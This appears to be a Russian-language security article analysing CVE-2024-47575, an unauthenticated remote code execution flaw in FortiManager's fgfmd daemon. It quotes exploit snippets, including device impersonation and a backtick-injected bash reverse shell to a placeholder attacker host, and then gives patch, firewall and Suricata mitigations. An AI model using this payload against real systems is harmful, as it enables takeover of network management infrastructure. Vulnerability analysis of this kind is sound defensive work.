Уязвимость демона fgfmd программного средства для централизованного управления устройствами Fortinet FortiManager
Уязвимость демона fgfmd программного средства для централизованного управления устройствами Fortinet FortiManager
Категория: Программы Теги: Уязвимости Опубликовано: 9 июня 2025

Уязвимость BDU:2024-08556 (CVE-2024-47575) Fortinet FortiManager

Уязвимость BDU:2024-08556 (CVE-2024-47575) представляет собой критическую уязвимость удаленного выполнения кода (RCE) без аутентификации в демоне fgfmd FortiManager. Она позволяет удаленному злоумышленнику выполнить произвольные команды на целевой системе путем отправки специально сформированных сетевых запросов.

Анализ уязвимости

Уровень опасности: 9.8 (CRITICAL)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Attack Vector: Network) – Атака через сеть

  • AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации

  • PR:N (Privileges Required: None) – Требуемые привилегии: отсутствуют

  • UI:N (User Interaction: None) – Взаимодействие с пользователем: не требуется

  • S:U (Scope: Unchanged) – Область воздействия: не изменяется

  • C:H (Confidentiality: High) – Полное нарушение конфиденциальности

  • I:H (Integrity: High) – Полное нарушение целостности

  • A:H (Availability: High) – Полное нарушение доступности


Условия эксплуатации

  1. Доступ к порту 541/TCP: Злоумышленник должен иметь сетевой доступ к уязвимому FortiManager (обычно внутренняя сеть или DMZ).

  2. Версия ПО: FortiManager/FortiManager Cloud версий:

    • 7.6.0, 7.4.0–7.4.4, 7.2.0–7.2.7, 7.0.0–7.0.12, 6.4.0–6.4.14, 6.2.0–6.2.12

  3. Отсутствие аутентификации: Уязвимая функция (file_exchange) не требует аутентификации.

Уязвимое ПО

  • FortiManager до 7.6.1
  • FortiManager от 7.4.0 до 7.4.5
  • FortiManager от 7.2.0 до 7.2.8
  • FortiManager от 7.0.0 до 7.0.13
  • FortiManager от 6.4.0 до 6.4.15
  • FortiManager от 6.2.0 до 6.2.13
  • FortiManager Cloud от 7.4.1 до 7.4.5
  • FortiManager Cloud от 7.2.1 до 7.2.8
  • FortiManager Cloud от 7.0.1 до 7.0.13
  • FortiManager Cloud 6.4

Анализ кода эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит CVE-2024-47575.py использует несколько этапов атаки:

1. Установка SSL-соединения

context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin")
ssl_sock = context.wrap_socket(s)

Проблема: FortiManager принимает любые самоподписанные сертификаты при регистрации устройства, что позволяет злоумышленнику выдать себя за доверенное устройство (например, FortiGate).

2. Эмуляция устройства FortiGate

Эксплоит отправляет пакет get ip, имитируя данные реального устройства:

request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
platform=FortiGate-VM64
...
\0""".replace(b"\n",b"\r\n")

Уязвимость: Демон fgfmd не проверяет подлинность устройства при первоначальном "рукопожатии".

3. Использование функции file_exchange

Ключевой этап – передача команды RCE через параметр file:

json_payload = b"""{
    "data": {
        "file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
    }
}"""

Уязвимость: Параметр file в методe um/som/export не санитизируется, что позволяет внедрить команды Bash через backticks (``).

4. Выполнение RCE через канал

Эксплоит открывает канал передачи данных и отправляет полезную нагрузку:

request_channel_open += str(len(json_payload)).encode()
request_channel_open += b"\n"
request_channel_open += json_payload

Результат: На сервере выполняется команда sh -i, открывающая обратный shell к атакующему.


Возможные последствия эксплуатации

  1. Полный контроль над FortiManager:

    • Установка бэкдоров, криптомайнеров, ransomware.

  2. Компрометация управляемых устройств:

    • FortiManager управляет сетевыми устройствами (FortiGate, FortiSwitch). Злоумышленник может изменить их конфигурации, правила фаервола, VPN-настройки.

  3. Кража конфиденциальных данных:

    • Сертификаты, пароли ADOM, конфиги устройств, логи доступа.

  4. Атаки на внутреннюю сеть:

    • FortiManager обычно имеет привилегированный доступ в защищаемых сегментах сети.


Способы защиты

1. Обновление ПО

Установите фиксированные версии:

  • FortiManager 7.6.1+, 7.4.6+, 7.2.9+, 7.0.14+, 6.4.16+, 6.2.14+

  • FortiManager Cloud: 7.4.6+, 7.2.9+, 7.0.14+

2. Сегментация сети

  • Ограничьте доступ к порту 541/TCP только доверенным IP-адресам (например, управляющим серверам).

  • Пример правила для iptables:

    iptables -A INPUT -p tcp --dport 541 -s 192.168.10.0/24 -j ACCEPT
    iptables -A INPUT -p tcp --dport 541 -j DROP

3. Правило для Suricata/IPS

Блокировка попыток использования file_exchange с подозрительным содержимым:

alert tcp any any -> $HOME_NET 541 (  
  msg:"FortiManager CVE-2024-47575 Exploit Attempt";  
  flow:established;  
  content:"|0A|file_exchange|0D 0A|";  
  content:"file|3A 22|`"; within:100;  
  metadata:policy security-ips;  
  sid:202408556;  
  rev:1;  
)

Примечание: Правило ищет последовательность file:" + backtick (`) в 100 байтах после file_exchange.

4. Отключение неиспользуемых сервисов

Если функция file_exchange не требуется:

config system global
  set fgfmd-allow-file-exchange disable
end

Проверьте документацию Fortinet перед отключением!

Алексей Черемных Алексей Черемных
28